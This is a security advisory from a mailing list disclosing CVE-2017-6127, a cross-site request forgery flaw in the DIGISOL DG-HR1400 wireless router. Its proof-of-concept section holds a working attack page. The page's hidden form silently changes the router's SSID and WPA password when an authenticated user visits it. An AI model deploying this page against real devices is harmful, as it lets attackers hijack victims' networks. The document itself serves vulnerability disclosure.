Multiple cross-site request forgery (CSRF) vulnerabilities in the DIGISOL (DG-HR 1400) Wireless Router

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Multiple cross-site request forgery (CSRF) vulnerabilities in the DIGISOL (DG-HR 1400) Wireless Router


From: Indrajith AN <indu.an444 () gmail com>

Date: Thu, 23 Feb 2017 15:20:39 +0530


Title:
====

DIGISOL DG-HR1400 Wireless router – Cross-Site Request Forgery (CSRF)
vulnerability

Credit:
======

Name: Indrajith.A.N
Website: https://www.indrajithan.com
Company: PwC-SDC

Reference:
=========

CVE Details: CVE-2017-6127

Date:
====

23-02-2017

Vendor:
======

DIGISOL router is a product of Smartlink Network Systems Ltd. is one of
India's leading networking company. It was established in the year 1993 to
prop the Indian market in the field of Network Infrastructure.

Product:
=======

DIGISOL DG-HR1400 is a wireless Router


Product link: http://wifi.digisol.com/datasheets/DG-HR1400.pdf

Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in the DIGISOL DG-HR1400
wireless router enables an attacker to perform an
unwanted action on a wireless router for which the user/admin is currently
authenticated.\

Affected Version:
=============

<=1.00.02


Exploitation-Technique:
===================

Remote


Severity Rating:
===================

7.9


Details:
=======

An attacker who lures a DG-HR1400 authenticated user to browse a malicious
website can exploit cross site request
forgery (CSRF) to submit commands to wireless router and gain control of
the product. The attacker could
submit variety of commands including but not limited to changing the SSID
name, password, security type etc.


Proof Of Concept:
================

1) User login to DG-HR1400 wireless router


2) User visits the attacker's malicious web page (attack.html)


3) attack.html exploits CSRF vulnerability and changes the SSID name and
password


Exploit code (attack.html):


<html>
   Digisol Router CSRF Exploit - Indrajith A.N
  <body>
  history.pushState('', '', '/')
    <form action="http://192.168.2.1/form2WlanBasicSetup.cgi&quot;;
method="POST">
      <input type="hidden" name="mode" value="0" />
      <input type="hidden" name="apssid" value="hacked" />
      <input type="hidden" name="startScanUplinkAp" value="0" />
      <input type="hidden" name="domain" value="1" />
      <input type="hidden" name="hiddenSSID" value="on" />
      <input type="hidden" name="ssid" value="hacked" />
      <input type="hidden" name="band" value="10" />
      <input type="hidden" name="chan" value="6" />
      <input type="hidden" name="chanwid" value="1" />
      <input type="hidden" name="txRate" value="0" />
      <input type="hidden" name="method_cur" value="6" />
      <input type="hidden" name="method" value="6" />
      <input type="hidden" name="authType" value="2" />
      <input type="hidden" name="length" value="1" />
      <input type="hidden" name="format" value="2" />
      <input type="hidden" name="defaultTxKeyId" value="1" />
      <input type="hidden" name="key1" value="0000000000" />
      <input type="hidden" name="pskFormat" value="0" />
      <input type="hidden" name="pskValue" value="csrf1234" />
      <input type="hidden" name="checkWPS2" value="1" />
      <input type="hidden" name="save" value="Apply" />
      <input type="hidden" name="basicrates" value="15" />
      <input type="hidden" name="operrates" value="4095" />
      <input type="hidden" name="submit.htm?wlan_basic.htm"
value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Disclosure Timeline:
======================================
Vendor Notification: December 18, 2016

-- 
Indrajith

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